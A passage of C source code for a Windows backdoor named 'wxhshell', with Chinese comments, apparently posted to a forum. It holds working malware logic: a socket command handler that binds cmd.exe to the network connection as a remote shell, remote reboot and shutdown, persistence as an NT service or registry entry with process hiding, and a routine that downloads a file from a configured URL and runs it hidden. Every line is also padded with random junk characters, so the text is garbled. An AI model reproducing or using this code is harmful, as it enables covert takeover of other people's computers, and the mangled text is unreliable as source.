    switch(cmd[0]) { ,\"gN5[$(  
  /d;l:  
  // 帮助 n\,W:G9AR7  
  case '?': { X^)5O>>|t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ue%5 :Sdr  
    break; ]>j_ Y ,  
  } -': tpJk  
  // 安装 QJ'C?hn  
  case 'i': { -hfY:W`Dz  
    if(Install()) u{^Kyo#v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o^J&c_U\3'  
    else {%dQV#'c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "=O)2}  
    break; \6L=^q=  
    } Ews Ja3 `  
  // 卸载 <ZEll[0L  
  case 'r': { =uEhxs j)S  
    if(Uninstall()) M3;B]iRQD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OW^7aw(N6  
    else &-tf/qJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zc5_;!t  
    break; ^\;5O(9  
    } UNHHzTsr?  
  // 显示 wxhshell 所在路径 YTA  &G  
  case 'p': { NmXTk+,L#  
    char svExeFile[MAX_PATH]; oyY,uB.|  
    strcpy(svExeFile,"\n\r"); \v_( *  
      strcat(svExeFile,ExeFile); A5\S0l$Q  
        send(wsh,svExeFile,strlen(svExeFile),0); igCtq!.a  
    break; %kT:"j(xW  
    } pDT6>2t  
  // 重启 |\ L2q/u  
  case 'b': { j=LF1dG"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9 R1]2U$|  
    if(Boot(REBOOT)) 4B 6Aw?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Dz /MSl  
    else { 8X5XwFf}  
    closesocket(wsh); #(G&%I A|;  
    ExitThread(0); ^TGHWCK!t  
    } lw{|~m5`  
    break; D\JYa@*?.h  
    } TUt)]"h<  
  // 关机 fAi113q!  
  case 'd': { d29HEu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A |B](MW%O  
    if(Boot(SHUTDOWN)) u""= 9>0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QO%K`}Q}  
    else { h9mR+ng*oD  
    closesocket(wsh); WF7RMQ51j  
    ExitThread(0); J0k~%   
    } kp|reKM/  
    break; 5;*C0m2%i  
    } k-/$8C  
  // 获取shell uVocl,?.L  
  case 's': { y{<7OTA)  
    CmdShell(wsh); O1"!'Gk[!L  
    closesocket(wsh); 195(Kr<5$  
    ExitThread(0); $qqusa}`K  
    break; jEadVM9  
  } [ 0Sd +{Q  
  // 退出 eAj}/2y"  
  case 'x': { f~Su F,o@h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O(VV-n7U  
    CloseIt(wsh); X"]ZV]7(]s  
    break; 'n=D$j]X  
    } }Z|a?J@CZm  
  // 离开 j(rFORT  
  case 'q': { 53c6dl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gQ[4{+DSf  
    closesocket(wsh); %WR  
    WSACleanup(); - U|4`{PP  
    exit(1); *MNY1+RJ  
    break; N'StT$(  
        } 4^r}&9C ~  
  } ME.LS2'n  
  } }z[se)s  
Ic*Q(X  
  // 提示信息 u|C9[(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f]EHDcC3X  
} `^/Q"zH  
  } Nb6HM~  
W*0KAC`m  
  return; z{ 8!3>:E  
} Kt-@a%O0  
<Aa%Uwpc  
// shell模块句柄 Je'$V%{E  
int CmdShell(SOCKET sock) udB}`<Q  
{ VC@o]t5  
STARTUPINFO si; eP)RP6ON{  
ZeroMemory(&si,sizeof(si)); *QLbrR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q^s$4q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ugn"w E  
PROCESS_INFORMATION ProcessInfo; nsPM`dz/  
char cmdline[]="cmd"; {_Y\Y&#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  : 2?du  
  return 0; `?)i/jko"  
} 1DX=\BWp  
TS;MGi0`}  
// 自身启动模式 y~\z_') <>  
int StartFromService(void) B\6\QQ;rUo  
{ \<5xf<{  
typedef struct o{qbbJBC  
{ B`vV[w?  
  DWORD ExitStatus; tNjrd}8s  
  DWORD PebBaseAddress; 1@am'#<  
  DWORD AffinityMask; ~HELMS~-  
  DWORD BasePriority; m4EkL  
  ULONG UniqueProcessId; Dbgw )n*2  
  ULONG InheritedFromUniqueProcessId; B>R6j}rh'k  
}   PROCESS_BASIC_INFORMATION; uW]n3)7<I  
a^22H  
PROCNTQSIP NtQueryInformationProcess; -6? 5|\  
7L!k9"X`0F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h:|aQJG5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nPKj%g3h  
A 9u9d\  
  HANDLE             hProcess; .e6:/x~p*  
  PROCESS_BASIC_INFORMATION pbi; P6MT[  
PKP( :3|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H*Yy o ?  
  if(NULL == hInst ) return 0; /h_BF\VBs  
H)5]K9D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g;-CAd5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *_ "j"{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zEu*q7  
>Zr`9$i  
  if (!NtQueryInformationProcess) return 0; ]1klfp,`  
=4?m>v,re  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); km *$;Nli  
  if(!hProcess) return 0; /vBpRm  
MQhL>oQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !4|7U\;  
]g:VvTJ;?  
  CloseHandle(hProcess); .6r&<*  
_Ab|<!a/R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =|H/[",gg  
if(hProcess==NULL) return 0; :}Z+K*%o-  
I&4|T<j  
HMODULE hMod; 4B) prQ3  
char procName[255]; N O'-HKHj  
unsigned long cbNeeded; KX{S8_  
CYz]tv}g:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m#Rll[  
y6$5meh.T  
  CloseHandle(hProcess); ^"l4   
/KH3v!G0  
if(strstr(procName,"services")) return 1; // 以服务启动 lE /"  
euQ d  
  return 0; // 注册表启动 u"nyx0<  
} X mLHZ,/  
|XPT2eQ{  
// 主模块 ]@Q14   
int StartWxhshell(LPSTR lpCmdLine) 68d(6?OgW  
{ L[D}pL=  
  SOCKET wsl; \ 3ha  
BOOL val=TRUE; CJ?Lv2Td  
  int port=0; {=pf#E=  
  struct sockaddr_in door; H;|^z@RB<  
rT <=`9^{  
  if(wscfg.ws_autoins) Install(); F?3a22Zg#  
!DXKn\aQf  
port=atoi(lpCmdLine); yo3'\I  
BoXQBcG]w  
if(port<=0) port=wscfg.ws_port; s@Y0"   
C}%g(YRhb  
  WSADATA data; p^^E(<2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L=?Yc*vg  
! p458~|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &?v^xAr?B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LsoP >vJG  
  door.sin_family = AF_INET; ^|(F|Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }"E?#&^  
  door.sin_port = htons(port); u+kXJ  
7C F-?M!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C([TolZ  
closesocket(wsl); (ybKACx  
return 1; V_$BZm%8J  
} ?=$a6o  
fMy7pXa_  
  if(listen(wsl,2) == INVALID_SOCKET) { _}8O15B|  
closesocket(wsl); ^3^n|T7le  
return 1; eE '\h  
} A7C+-N  
  Wxhshell(wsl); ?v \A&d  
  WSACleanup(); q",n:=PL  
$<OX\f%  
return 0; D<$, v(-  
i]JD::P_H  
} o+ r?N5  
RQ;pAO  
// 以NT服务方式启动 <-D>^p9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f![?og)I%  
{ N`h,2!(j  
DWORD   status = 0; *VG#SK  
  DWORD   specificError = 0xfffffff; !?,7Cu.5#6  
.y\j .p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %wzDBsX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kj{z;5-dl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d="Oge8  
  serviceStatus.dwWin32ExitCode     = 0; e$u=>=jV]  
  serviceStatus.dwServiceSpecificExitCode = 0; 1RgtZp%  
  serviceStatus.dwCheckPoint       = 0; W< _9*{|E;  
  serviceStatus.dwWaitHint       = 0; 1tw>C\  
.jA'BF.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A)/8j2  
  if (hServiceStatusHandle==0) return; % P .(L  
[#hpWNez(>  
status = GetLastError(); 1zqIB")s>  
  if (status!=NO_ERROR) c5C 2xE}T  
{ va 7I_J   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .0+=#G>  
    serviceStatus.dwCheckPoint       = 0; a|?&  
    serviceStatus.dwWaitHint       = 0;  ieo Naq  
    serviceStatus.dwWin32ExitCode     = status; #}Y$+FtO  
    serviceStatus.dwServiceSpecificExitCode = specificError; .$&mWytw=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -!V+>.Oh  
    return; 5-qk"@E W  
  } .,[ NJ:l  
3>asl54  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a@4 Z x  
  serviceStatus.dwCheckPoint       = 0; utOATjB.z  
  serviceStatus.dwWaitHint       = 0; WRrCrXP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {x_SnZz&  
} :x88  
kd55y  
// 处理NT服务事件,比如:启动、停止 m03D+@F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }9=X*'BO  
{ E/+H~YzO  
switch(fdwControl) 9lXjB_wG>  
{ zNG]v?JAh  
case SERVICE_CONTROL_STOP: ]6s7?07m4  
  serviceStatus.dwWin32ExitCode = 0; 3mef;!q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'C[{cr.`  
  serviceStatus.dwCheckPoint   = 0; W3Gg<!*Uo  
  serviceStatus.dwWaitHint     = 0; v\lhbpk  
  { E3hql3=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); im,H|u_f4  
  } J)o.@+Q}  
  return; <e&88{jJ  
case SERVICE_CONTROL_PAUSE: qe^d6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M9~eDw'Pr  
  break; JJC Y M  
case SERVICE_CONTROL_CONTINUE: Z2P DT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z01BzIsR  
  break; K<3,=gL9[  
case SERVICE_CONTROL_INTERROGATE: "R<c  
  break; v;6O# ta'  
}; ?58,Ja  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G.{)#cR  
} r< MW8  
 {^8->V  
// 标准应用程序主函数 meF.`fh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LI~ofCp  
{ CU`yi.)T{  
<ztcCRov  
// 获取操作系统版本 vQH 6CB"  
OsIsNt=GetOsVer(); WMi$ATq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bT>1S2s  
2K:Rrn/cR  
  // 从命令行安装 =# /BCL7  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3*(w=;y  
{D{' \]+  
  // 下载执行文件 aw\0\'}  
if(wscfg.ws_downexe) { V|\dnVQ'-%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E\Qm09Dj`<  
  WinExec(wscfg.ws_filenam,SW_HIDE); x*#9\*@EI  
} 9cqq"-$G`  
$eu-8E'  
if(!OsIsNt) { 0Z4o3r[  
// 如果时win9x,隐藏进程并且设置为注册表启动 Mn<#rBE B  
HideProc(); P:OI]x4  
StartWxhshell(lpCmdLine); b[/uSwvi  
} EP'I  
else w<|Qezi3 w  
  if(StartFromService()) 5 (cgHr"  
  // 以服务方式启动 huat,zLS  
  StartServiceCtrlDispatcher(DispatchTable); Ze.\<^-t  
else h_y;NB(w  
  // 普通方式启动 6%A_PP3Z  
  StartWxhshell(lpCmdLine); AZH= r S`  
Vh}F#~BrI  
return 0; ,ZWaTp*D/  
}
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只看该作者 1 发表于: 2006-10-10
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